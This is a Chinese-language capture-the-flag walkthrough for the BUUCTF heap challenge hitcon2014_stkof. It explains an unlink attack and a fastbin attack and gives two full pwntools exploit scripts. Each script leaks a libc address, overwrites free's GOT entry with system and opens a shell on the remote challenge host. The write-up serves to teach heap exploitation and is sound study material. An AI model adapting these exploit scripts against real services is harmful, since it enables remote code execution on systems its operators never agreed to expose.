[BUUCTF]-PWN:hitcon2014_stkof解析

2024-01-28 16:20

本文主要是介绍[BUUCTF]-PWN:hitcon2014_stkof解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

又是一道堆题,先看保护

关键信息,64位,没开pie。再看ida

大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题

这里有两种解法

解法一(unlink):

这里要着重讲一下这个解法,因为我在前面的堆题里几乎没有用过这个方法解题,而且unlink也是一种值得去用的解法。

解题思路:

从创建堆块的函数里可以看到,堆块的指针存储在一个名为s的指针数组里,可以触发unlink修改堆块指针为s附近的地址,修改该堆块内容把两个堆块指针分别修改为free的got以及任意函数的got,把free的got里内容修改为puts的plt地址,打印出任意函数的got内容,泄露libc,得到system函数地址,把free的got内容修改为system,然后getshell

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
pchunk=0x602150
free_got=0x602018
puts_got=0x602020
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10)
alloc(0x20)
alloc(0x80)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(pchunk-0x18)+p64(pchunk-0x10)+p64(0x20)+p64(0x90)
fill(2,len(payload),payload)
free(3)
payload=p64(0)*2+p64(free_got)+p64(libc_start_main_got)
fill(2,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('__libc_start_main',libc_start_addr)
libcbase=libc_start_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
alloc(0x20)
payload=b'/bin/sh\x00'
fill(4,len(payload),payload)
free(4)
p.interactive()

unlink:

应用:

首先,设某一堆块的指针存储在pchunk地址处,在该堆块中伪造堆块,填充数据伪造堆头,利用填充堆块内容的函数将该堆块的fd和bk处分别修改为pchunk-0x18,pchunk-0x10,然后将相邻的下一堆块的priv_size修改为伪造的堆块的大小,堆头size修改为相应的大小,然后释放相邻堆块(大小需为非fastbin)就可以触发unlink,将该堆块的指针修改为pchunk-0x18了。

例如exp中的:

payload=p64(0)+p64(0x21)
payload+=p64(pchunk-0x18)+p64(pchunk-0x10)
payload+=p64(0x20)+p64(0x90) #这里直接输入这样是因为伪造堆块的大小较小不用填充无关数据

如果伪造的堆块大小较大,需要填充无关数据至相邻堆块的堆头。

原理:

原理可以看一下这篇文章,写得很详细

https://blog.csdn.net/qq_41202237/article/details/108481889

第二种解法:

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
s=0x602140
free_got=0x602018
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10) #1
alloc(0x10) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x80) #5
free(3)
free(4)
payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(s-115)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)*13+p8(0)*3+p64(free_got)+p64(libc_start_main_got)
fill(7,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
payload=b'/bin/sh\x00'
fill(5,len(payload),payload)
free(5)
p.interactive()

直接释放两个堆块,利用堆溢出在堆块指针数组s附近创建堆块,修改指针。

这种方法比较简单粗暴一点,但是还是建议用unlink去解题。

这篇关于[BUUCTF]-PWN:hitcon2014_stkof解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/654152

相关文章

全解析CSS Grid 的 auto-fill 和 auto-fit 内容自适应

《全解析CSSGrid的auto-fill和auto-fit内容自适应》:本文主要介绍了全解析CSSGrid的auto-fill和auto-fit内容自适应的相关资料,详细内容请阅读本文,希望能对你有所帮助... css  Grid 的 auto-fill 和 auto-fit/* 父元素 */.gri

Maven 依赖发布与仓库治理的过程解析

《Maven依赖发布与仓库治理的过程解析》:本文主要介绍Maven依赖发布与仓库治理的过程解析,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录Maven 依赖发布与仓库治理引言第一章:distributionManagement配置的工程化实践1

MySQL复合查询从基础到多表关联与高级技巧全解析

《MySQL复合查询从基础到多表关联与高级技巧全解析》本文主要讲解了在MySQL中的复合查询,下面是关于本文章所需要数据的建表语句,感兴趣的朋友跟随小编一起看看吧... 目录前言:1.基本查询回顾:1.1.查询工资高于500或岗位为MANAGER的雇员,同时还要满足他们的姓名首字母为大写的J1.2.按照部门

Spring三级缓存解决循环依赖的解析过程

《Spring三级缓存解决循环依赖的解析过程》:本文主要介绍Spring三级缓存解决循环依赖的解析过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、循环依赖场景二、三级缓存定义三、解决流程(以ServiceA和ServiceB为例)四、关键机制详解五、设计约

Redis实现分布式锁全解析之从原理到实践过程

《Redis实现分布式锁全解析之从原理到实践过程》:本文主要介绍Redis实现分布式锁全解析之从原理到实践过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、背景介绍二、解决方案(一)使用 SETNX 命令(二)设置锁的过期时间(三)解决锁的误删问题(四)Re

Qt实现网络数据解析的方法总结

《Qt实现网络数据解析的方法总结》在Qt中解析网络数据通常涉及接收原始字节流,并将其转换为有意义的应用层数据,这篇文章为大家介绍了详细步骤和示例,感兴趣的小伙伴可以了解下... 目录1. 网络数据接收2. 缓冲区管理(处理粘包/拆包)3. 常见数据格式解析3.1 jsON解析3.2 XML解析3.3 自定义

Golang HashMap实现原理解析

《GolangHashMap实现原理解析》HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持高效的插入、查找和删除操作,:本文主要介绍GolangH... 目录HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持

Python使用getopt处理命令行参数示例解析(最佳实践)

《Python使用getopt处理命令行参数示例解析(最佳实践)》getopt模块是Python标准库中一个简单但强大的命令行参数处理工具,它特别适合那些需要快速实现基本命令行参数解析的场景,或者需要... 目录为什么需要处理命令行参数?getopt模块基础实际应用示例与其他参数处理方式的比较常见问http

Python利用ElementTree实现快速解析XML文件

《Python利用ElementTree实现快速解析XML文件》ElementTree是Python标准库的一部分,而且是Python标准库中用于解析和操作XML数据的模块,下面小编就来和大家详细讲讲... 目录一、XML文件解析到底有多重要二、ElementTree快速入门1. 加载XML的两种方式2.

Java的栈与队列实现代码解析

《Java的栈与队列实现代码解析》栈是常见的线性数据结构,栈的特点是以先进后出的形式,后进先出,先进后出,分为栈底和栈顶,栈应用于内存的分配,表达式求值,存储临时的数据和方法的调用等,本文给大家介绍J... 目录栈的概念(Stack)栈的实现代码队列(Queue)模拟实现队列(双链表实现)循环队列(循环数组